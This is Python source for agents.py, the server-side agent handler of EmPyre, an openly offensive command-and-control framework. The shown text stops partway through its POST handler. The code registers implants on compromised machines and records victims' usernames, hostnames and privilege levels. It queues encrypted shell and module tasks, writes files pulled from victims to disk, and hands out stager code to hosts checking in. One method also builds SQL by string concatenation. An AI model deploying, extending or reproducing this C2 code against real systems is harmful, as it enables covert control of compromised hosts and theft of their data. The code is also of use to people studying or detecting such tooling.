agents.py

"""

Main agent handling functionality for EmPyre.

Database methods related to agents, as well as
the GET and POST handlers (process_get() and process_post())
used to process checkin and result requests.

handle_agent_response() is where the packets are parsed and
the response types are handled as appropriate.

"""

import sqlite3, base64, string, os, iptools, json
from pydispatch import dispatcher
from binascii import hexlify
from binascii import unhexlify
from zlib_wrapper import compress
from zlib_wrapper import decompress

# EmPyre imports
import encryption
import helpers
import http
import packets
import messages


class Agents:

    def __init__(self, MainMenu, args=None):

        # pull out the controller objects
        self.mainMenu = MainMenu
        self.conn = MainMenu.conn
        self.listeners = None
        self.modules = None
        self.stager = None
        self.installPath = self.mainMenu.installPath

        self.args = args

        # internal agent dictionary for the client's session key, funcions, and URI sets
        #   this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
        #   self.agents[sessionID] = {  'sessionKey' : clientSessionKey,
        #                               'currentURIs' : [current URIs used by the client],
        #                               'oldURIs' : [old URIs used by the client]
        #                            }
        self.agents = {}

        # reinitialize any agents that already exist in the database
        agentIDs = self.get_agent_ids()
        for agentID in agentIDs:
            self.agents[agentID] = {}
            self.agents[agentID]['sessionKey'] = self.get_agent_session_key(agentID)

            # get the current and previous URIs for tasking
            currentURIs,oldURIs = self.get_agent_uris(agentID)
            self.agents[agentID]['currentURIs'] = currentURIs.split(',')

            if not oldURIs:
                self.agents[agentID]['oldURIs'] = []
            else:
                self.agents[agentID]['oldURIs'] = oldURIs.split(',')

        # pull out common configs from the main menu object in empire.py
        self.ipWhiteList = self.mainMenu.ipWhiteList
        self.ipBlackList = self.mainMenu.ipBlackList
        self.stage0 = self.mainMenu.stage0
        self.stage1 = self.mainMenu.stage1
        self.stage2 = self.mainMenu.stage2

    ###############################################################
    #
    # Misc agent methods
    #
    ###############################################################

    def remove_agent(self, sessionID):
        """
        Remove an agent to the internal cache and database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        # remove the agent from the internal cache
        self.agents.pop(sessionID, None)

        # remove the agent from the database
        cur = self.conn.cursor()
        cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
        cur.close()

    def add_agent(self, sessionID, sessionKey, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce):
        """
        Add an agent to the internal cache and database.
        """

        cur = self.conn.cursor()

        currentTime = helpers.get_datetime()
        checkinTime = currentTime
        lastSeenTime = currentTime

        # config defaults, just in case something doesn't parse
        #   ...we shouldn't ever hit this...
        requestUris = "post.php"
        userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
        additionalHeaders = ""

        # profile format ->     requestUris|user_agent|additionalHeaders
        parts = profile.split("|")
        if len(parts) == 2:
            requestUris = parts[0]
            userAgent = parts[1]
        elif len(parts) > 2:
            requestUris = parts[0]
            userAgent = parts[1]
            additionalHeaders = "|".join(parts[2:])

        cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,nonce,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit,taskings,results) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)",
                    (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, requestUris, userAgent, additionalHeaders, killDate, workingHours, lostLimit, "", ""))
        cur.close()

        # initialize the tasking/result buffers along with the client session key
        sessionKey = self.get_agent_session_key(sessionID)
        self.agents[sessionID] = {'sessionKey':sessionKey, 'currentURIs':requestUris.split(','), 'oldURIs': []}

        # report the initial checkin in the reporting database
        cur = self.conn.cursor()
        cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID, "checkin", checkinTime, helpers.get_datetime()))
        cur.close()

    def is_agent_present(self, sessionID):
        """
        Check if the sessionID is currently in the cache.
        """
        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        return sessionID in self.agents

    def is_uri_present(self, resource):
        """
        Check if the resource is currently in the uris or old_uris for any agent.
        """
        for option, values in self.agents.iteritems():
            if resource in values['currentURIs'] or resource in values['oldURIs']:
                return True
        return False

    def is_ip_allowed(self, IP):
        """
        Check if the IP meshes with the whitelist/blacklist, if set.
        """

        if self.ipBlackList:
            if self.ipWhiteList:
                return IP in self.ipWhiteList and IP not in self.ipBlackList
            else:
                return IP not in self.ipBlackList
        if self.ipWhiteList:
            return IP in self.ipWhiteList
        else:
            return True

    def save_file(self, sessionID, path, data, append=False):
        """
        Save a file download for an agent to the appropriately constructed path.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid: sessionID = nameid

        parts = path.split("/")

        # construct the appropriate save path
        savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
        filename = parts[-1]

        # fix for 'skywalker' exploit by @zeroSteiner
        safePath = os.path.abspath("%s/downloads/" % self.installPath)
        if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
            dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
            dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
            return

        # make the recursive directory structure if it doesn't already exist
        if not os.path.exists(savePath):
            os.makedirs(savePath)

        # overwrite an existing file
        if not append:
            f = open(savePath+"/"+filename, 'wb')
        else:
            # otherwise append
            f = open(savePath+"/"+filename, 'ab')

        # decompress data from agent
        print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
        d = decompress.decompress()
        dec_data = d.dec_data(data)
        print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
        if not dec_data['crc32_check']:
            dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
            print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
            dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
            print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
        data = dec_data['data']
        f.write(data)
        f.close()

        # notify everyone that the file was downloaded
        dispatcher.send("[+] Part of file %s from %s saved" % (filename, sessionID), sender="Agents")

    def save_module_file(self, sessionID, path, data):
        """
        Save a module output file to the appropriate path.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid: sessionID = nameid

        parts = path.split("/")
        # construct the appropriate save path
        savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
        filename = parts[-1]

        # decompress data:
        print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
        d = decompress.decompress()
        dec_data = d.dec_data(data)
        print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
        if not dec_data['crc32_check']:
            dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
            print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
            dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
            print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
        data = dec_data['data']
        # fix for 'skywalker' exploit by @zeroSteiner
        safePath = os.path.abspath("%s/downloads/" % self.installPath)
        if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
            dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
            dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
            return

        # make the recursive directory structure if it doesn't already exist
        if not os.path.exists(savePath):
            os.makedirs(savePath)

        # save the file out
        f = open(savePath+"/"+filename, 'w')
        f.write(data)
        f.close()

        # notify everyone that the file was downloaded
        dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender="Agents")

        return "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) + "/" + filename

    def save_agent_log(self, sessionID, data):
        """
        Save the agent console output to the agent's log file.
        """

        name = self.get_agent_name(sessionID)

        savePath = self.installPath + "/downloads/"+str(name)+"/"

        # make the recursive directory structure if it doesn't already exist
        if not os.path.exists(savePath):
            os.makedirs(savePath)

        currentTime = helpers.get_datetime()

        f = open(savePath+"/agent.log", 'a')
        f.write("\n" + currentTime + " : " + "\n")
        f.write(data + "\n")
        f.close()

    ###############################################################
    #
    # Methods to get information from agent fields.
    #
    ###############################################################

    def get_agents(self):
        """
        Return all active agents from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT * FROM agents")
        results = cur.fetchall()
        cur.close()
        return results

    def get_agent_names(self):
        """
        Return all names of active agents from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT name FROM agents")
        results = cur.fetchall()
        cur.close()
        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results

    def get_agent_ids(self):
        """
        Return all IDs of active agents from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT session_id FROM agents")
        results = cur.fetchall()
        cur.close()
        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results

    def get_agent(self, sessionID):
        """
        Return complete information for the specified agent from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT * FROM agents WHERE session_id=?", [sessionID])
        agent = cur.fetchone()
        cur.close()
        return agent

    def get_agent_internal_ip(self, sessionID):
        """
        Return the internal IP for the agent from the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT internal_ip FROM agents WHERE session_id=?", [sessionID])
        agent = cur.fetchone()
        cur.close()
        return agent

    def is_agent_elevated(self, sessionID):
        """
        Check whether a specific sessionID is currently elevated.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID])
        elevated = cur.fetchone()
        cur.close()

        if elevated and elevated is not None and elevated != ():
            return int(elevated[0]) == 1
        else:
            return False

    def get_py_version(self, sessionID):
        """
        Return the current Python version for this agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT py_version FROM agents WHERE session_id=?", [sessionID])
        py_version = cur.fetchone()
        cur.close()

        if py_version and py_version is not None:
            if type(py_version) is str:
                return py_version
            else:
                return py_version[0]

    def get_agent_session_key(self, sessionID):
        """
        Return AES session key for this sessionID.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT session_key FROM agents WHERE session_id=?", [sessionID])
        sessionKey = cur.fetchone()
        cur.close()

        if sessionKey and sessionKey is not None:
            if type(sessionKey) is str:
                return sessionKey
            else:
                return sessionKey[0]

    def get_agent_nonce(self, sessionID):
        """
        Return nonce for this sessionID.
        """
        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT nonce FROM agents WHERE session_id=?", [sessionID])
        nonce = cur.fetchone()
        cur.close()

        if nonce and nonce is not None:
            if type(nonce) is str:
                return nonce
            else:
                return nonce[0]

    def get_agent_results(self, sessionID):
        """
        Return agent results from the backend database.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." %(agentName))
        else:
            cur = self.conn.cursor()
            cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID])
            results = cur.fetchone()
            
            cur.execute("UPDATE agents SET results = ? WHERE session_id=?", ['',sessionID])

            if results and results[0] and results[0] != '':
                out = json.loads(results[0])
                if(out):
                    return "\n".join(out)
            else:
                return ''
            cur.close()

    def get_agent_id(self, name):
        """
        Get an agent sessionID based on the name.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT session_id FROM agents WHERE name=?", [name])
        results = cur.fetchone()
        if results:
            return results[0]
        else:
            return None

    def get_agent_name(self, sessionID):
        """
        Get an agent name based on sessionID.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT name FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID])
        results = cur.fetchone()
        if results:
            return results[0]
        else:
            return None

    def get_agent_hostname(self, sessionID):
        """
        Get an agent's hostname based on sessionID.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT hostname FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID])
        results = cur.fetchone()
        if results:
            return results[0]
        else:
            return None

    def get_agent_uris(self, sessionID):
        """
        Get the current and old URIs for an agent from the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT uris, old_uris FROM agents WHERE session_id=?", [sessionID])
        uris = cur.fetchone()
        cur.close()

        return uris

    def get_autoruns(self):
        """
        Get any global script autoruns.
        """

        try:
            cur = self.conn.cursor()
            cur.execute("SELECT autorun_command FROM config")
            results = cur.fetchone()
            if results:
                autorunCommand = results[0]
            else:
                autorunCommand = ''

            cur = self.conn.cursor()
            cur.execute("SELECT autorun_data FROM config")
            results = cur.fetchone()
            if results:
                autorunData = results[0]
            else:
                autorunData = ''
            cur.close()

            return [autorunCommand, autorunData]
        except:
            pass

    ###############################################################
    #
    # Methods to update agent information fields.
    #
    ###############################################################

    def update_agent_results(self, sessionID, results):
        """
        Update the internal agent result cache.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid : sessionID = nameid

        if sessionID in self.agents:
            cur = self.conn.cursor()

            # get existing agent results
            cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
            agentResults = cur.fetchone()

            if(agentResults and agentResults[0]):
                agentResults = json.loads(agentResults[0])
            else:
                agentResults = []

            agentResults.append(results)

            cur.execute("UPDATE agents SET results = ? WHERE session_id=?", [json.dumps(agentResults),sessionID])
            cur.close()
        else:
            dispatcher.send("[!] Non-existent agent %s returned results" %(sessionID), sender="Agents")

    def update_agent_sysinfo(self, sessionID, listener="", external_ip="", internal_ip="", username="", high_integrity=0, hostname="", os_details="", process_id="", py_version=""):
        """
        Update an agent's system information.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET listener = ?, internal_ip = ?, username = ?, high_integrity = ?, hostname = ?, os_details = ?, process_id = ?, py_version = ? WHERE session_id=?", [listener, internal_ip, username, high_integrity, hostname, os_details, process_id, py_version, sessionID])
        cur.close()

    def update_agent_lastseen(self, sessionID):
        """
        Update the agent's last seen timestamp.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        currentTime = helpers.get_datetime()
        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=?", [currentTime, sessionID])
        cur.close()

    def update_agent_profile(self, sessionID, profile):
        """
        Update the agent's "uri1,uri2,...|useragent|headers" profile.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        parts = profile.strip("\"").split("|")
        cur = self.conn.cursor()

        # get the existing URIs from the agent and save them to
        # the old_uris field, so we can ensure that it can check in
        # to get the new URI tasking... bootstrapping problem :)
        cur.execute("SELECT uris FROM agents WHERE session_id=?", [sessionID])
        oldURIs = cur.fetchone()[0]

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." %(nameid))
        else:
            # update the URIs in the cache
            self.agents[sessionID]['oldURIs'] = oldURIs.split(',')
            self.agents[sessionID]['currentURIs'] = parts[0].split(',')

        # if no additional headers
        if len(parts) == 2:
            cur.execute("UPDATE agents SET uris=?, user_agent=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], oldURIs, sessionID])
        else:
            # if additional headers
            cur.execute("UPDATE agents SET uris=?, user_agent=?, headers=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], parts[2], oldURIs, sessionID])

        cur.close()

    def rename_agent(self, oldname, newname):
        """
        Update the agent's last seen timestamp.
        """

        if not newname.isalnum():
            print helpers.color("[!] Only alphanumeric characters allowed for names.")
            return False

        # rename the logging/downloads folder
        oldPath = self.installPath + "/downloads/"+str(oldname)+"/"
        newPath = self.installPath + "/downloads/"+str(newname)+"/"

        # check if the folder is already used
        if os.path.exists(newPath):
            print helpers.color("[!] Name already used by current or past agent.")
            return False
        else:
            # signal in the log that we've renamed the agent
            self.save_agent_log(oldname, "[*] Agent renamed from " + str(oldname) + " to " + str(newname))

            # move the old folder path to the new one
            if os.path.exists(oldPath):
                os.rename(oldPath, newPath)

            # rename the agent in the database
            cur = self.conn.cursor()
            cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
            cur.close()

            # report the agent rename in the reporting database
            cur = self.conn.cursor()
            cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname, "rename", newname, helpers.get_datetime()))
            cur.close()

            return True

    def set_agent_field(self, field, value, sessionID):
        """
        Set field:value for a particular sessionID.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET "+str(field)+"=? WHERE session_id=?", [value, sessionID])
        cur.close()

    def set_autoruns(self, taskCommand, moduleData):
        """
        Set the global script autorun in the config.
        """

        try:
            cur = self.conn.cursor()
            cur.execute("UPDATE config SET autorun_command=?", [taskCommand])
            cur.execute("UPDATE config SET autorun_data=?", [moduleData])
            cur.close()
        except:
            print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
            print helpers.color("[!] Warning: this will reset ALL agent connections!")

    def clear_autoruns(self):
        """
        Clear the currently set global script autoruns in the config.
        """

        try:
            cur = self.conn.cursor()
            cur.execute("UPDATE config SET autorun_command=''")
            cur.execute("UPDATE config SET autorun_data=''")
            cur.close()
        except:
            print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
            print helpers.color("[!] Warning: this will reset ALL agent connections!")

    ###############################################################
    #
    # Agent tasking methods
    #
    ###############################################################

    def add_agent_task(self, sessionID, taskName, task=""):
        """
        Add a task to the specified agent's buffer.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." %(sessionID))
        else:
            if sessionID:

                dispatcher.send("[*] Tasked " + str(sessionID) + " to run " + str(taskName), sender="Agents")

                # get existing agent taskings
                cur = self.conn.cursor()
                cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
                agentTasks = cur.fetchone()

                if(agentTasks and agentTasks[0]):
                    agentTasks = json.loads(agentTasks[0])
                else:
                    agentTasks = []

                # append our new json-ified task and update the backend
                agentTasks.append([taskName, task])
                cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks),sessionID])

                # write out the last tasked script to "LastTask.py" if in debug mode
                if self.args and self.args.debug:
                    f = open(self.installPath + '/LastTask.py', 'w')
                    f.write(task)
                    f.close()

                # report the agent tasking in the reporting database
                cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime()))
                cur.close()

    def get_agent_tasks(self, sessionID):
        """
        Retrieve tasks for our agent.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid: sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent " + str(agentName) + " not active.")
            return []
        else:

            cur = self.conn.cursor()
            cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
            tasks = cur.fetchone()

            if(tasks and tasks[0]):
                tasks = json.loads(tasks[0])

                # clear the taskings out
                cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID])
            else:
                tasks = []

            cur.close()

            return tasks

    def clear_agent_tasks(self, sessionID):
        """
        Clear out the agent's task buffer.
        """

        agentName = sessionID

        if sessionID.lower() == "all":
            sessionID = '%'

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ?", ['', sessionID])
        cur.close()

    def handle_agent_response(self, sessionID, responseName, data):
        """
        Handle the result packet based on sessionID and responseName.
        """

        agentSessionID = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid: sessionID = nameid

        # report the agent result in the reporting database
        cur = self.conn.cursor()
        cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID, "result", responseName, helpers.get_datetime()))
        cur.close()

        # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
        #       so this logic is skipped

        if responseName == "ERROR":
            # error code
            dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents")
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, "[!] Error response: " + data)
        elif responseName == "TASK_SYSINFO":
            # sys info response -> update the host info
            parts = data.split("|")
            if len(parts) < 10:
                dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents")
            else:
                # extract appropriate system information
                listener = parts[0].encode('ascii', 'ignore')
                username = parts[1].encode('ascii', 'ignore')
                high_integrity = parts[2].encode('ascii', 'ignore')
                high_integrity = 1 if high_integrity.lower() == "true" else 0
                hostname = parts[3].encode('ascii', 'ignore')
                internal_ip = parts[4].encode('ascii', 'ignore')
                os_details = parts[5].encode('ascii', 'ignore')
                process_id = parts[6].encode('ascii', 'ignore')
                py_version = parts[7].encode('ascii', 'ignore')

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, high_integrity=high_integrity, hostname=hostname, os_details=os_details, py_version=py_version)

                sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
                sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
                sysinfo += '{0: <18}'.format("Username:") + username + "\n"
                sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
                sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
                sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
                sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
                sysinfo += '{0: <18}'.format("PyVersion:") + py_version

                self.update_agent_results(sessionID, sysinfo)
                # update the agent log
                self.save_agent_log(sessionID, sysinfo)

        elif responseName == "TASK_EXIT":
            # exit command response

            # let everyone know this agent exited
            dispatcher.send(data, sender="Agents")

            # update the agent results and log
            # self.update_agent_results(sessionID, data)
            self.save_agent_log(sessionID, data)

            # remove this agent from the cache/database
            self.remove_agent(sessionID)

        elif responseName == "TASK_SHELL":
            # shell command response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_DOWNLOAD":
            # file download
            parts = data.split("|")
            if len(parts) != 3:
                dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents")
            else:
                index, path, data = parts
                # decode the file data and save it off as appropriate
                fileData = helpers.decode_base64(data)
                name = self.get_agent_name(sessionID)

                if index == "0":
                    self.save_file(name, path, fileData)
                else:
                    self.save_file(name, path, fileData, append=True)
                # update the agent log
                msg = "file download: " + str(path) + ", part: " + str(index)
                self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_UPLOAD":
            # shell command response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_GETJOBS":
            if not data or data.strip().strip() == "":
                data = "[*] No active jobs"

            # running jobs
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_STOPJOB":
            # job kill response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_CMD_WAIT":

            # dynamic script output -> blocking
            self.update_agent_results(sessionID, data)

            # # TODO: see if there are any credentials to parse
            # time = helpers.get_datetime()
            # creds = helpers.parse_credentials(data)

            # if(creds):
            #     for cred in creds:

            #         hostname = cred[4]
                    
            #         if hostname == "":
            #             hostname = self.get_agent_hostname(sessionID)

            #         self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)

            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_CMD_WAIT_SAVE":
            # dynamic script output -> blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            fileData = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
            finalSavePath = self.save_module_file(name, savePath, fileData)

            # update the agent log
            msg = "Output saved to ." + finalSavePath
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_CMD_JOB":

            # dynamic script output -> non-blocking
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_CMD_JOB_SAVE":
            # dynamic script output -> non-blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            fileData = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
            finalSavePath = self.save_module_file(name, savePath, fileData)

            # update the agent log
            msg = "Output saved to ." + finalSavePath
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_MODULE_IMPORT":
            #dynamic script output -> non-blocking

            self.update_agent_results(sessionID, data)

            #update the agent log

            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_MODULE_VIEW":
            #dynamic script output -> non-blocking

            self.update_agent_results(sessionID, data)

            #update the agent log

            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_MODULE_REMOVE":
            #dynamic script output -> non-blocking

            self.update_agent_results(sessionID, data)

            #update the agent log

            self.save_agent_log(sessionID, data)

        else:
            print helpers.color("[!] Unknown response " + str(responseName) + " from " + str(sessionID))

    ###############################################################
    #
    # HTTP processing handlers
    #
    ###############################################################

    def process_get(self, port, clientIP, sessionID, resource):
        """
        Process a GET request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            return (200, http.default_page())

        # see if the requested resource is in our valid task URI list
        if (self.is_uri_present(resource)):
            # if no session ID was supplied
            if not sessionID or sessionID == "":
                dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with no session ID.", sender="Agents")
                # return a 404 error code and no resource
                return (404, "")

            # if the sessionID doesn't exist in the cache
            # TODO: put this code before the URI present? ...
            if not self.is_agent_present(sessionID):
                dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with invalid session ID.", sender="Agents")
                return (404, "")

            # if the ID is currently in the cache, see if there's tasking for the agent
            else:

                # update the client's last seen time
                self.update_agent_lastseen(sessionID)

                # retrieve all agent taskings from the cache
                taskings = self.get_agent_tasks(sessionID)

                if taskings and taskings != []:

                    allTaskPackets = ""

                    # build tasking packets for everything we have
                    for tasking in taskings:
                        taskName, taskData = tasking

                        # if there is tasking, build a tasking packet
                        taskPacket = packets.build_task_packet(taskName, taskData)

                        allTaskPackets += taskPacket

                    # get the session key for the agent
                    sessionKey = unhexlify(self.agents[sessionID]['sessionKey'])

                    # encrypt the tasking packets with the agent's session key
                    encryptedData = encryption.aes_encrypt_then_hmac(sessionKey, allTaskPackets)
                    return (200, encryptedData)

                # if no tasking for the agent
                else:
                    # just return the default page
                    return (200, http.default_page())

        # step 1 of negotiation -> client requests stage1 (stager.py)
        elif resource.lstrip("/").split("?")[0] == self.stage0:
            # return 200/valid and the initial stage code

            if self.args and self.args.debug:
                dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")

            # get the staging information for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
            config = self.listeners.get_staging_information(port=port)
            host = config[0]
            stagingkey = config[3]
            profile = config[6]
            stage = None

            # if we have a pivot or hop listener, use that config information instead for the stager
            if "?" in resource:
                parts = resource.split("?")
                if len(parts) == 2:
                    decoded = helpers.decode_base64(parts[1])

                    # http://server:port for a pivot listener
                    if decoded.count("/") == 2:
                        host = decoded
                    else:
                        # otherwise we have a http://server:port/hop.php listener
                        stage = self.stagers.generate_stager_hop(decoded, stagingkey, profile)

            if not stage:
                # generate the stage with appropriately patched information
                stage = self.stagers.generate_stager(host, stagingkey, profile)

            # step 2 of negotiation -> return stager.py (stage 1)
            return (200, stage)

        # default response
        else:
            # otherwise return the default page
            return (200, http.default_page())

    def process_post(self, port, clientIP, sessionID, resource, postData):
        """
        Process a POST request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
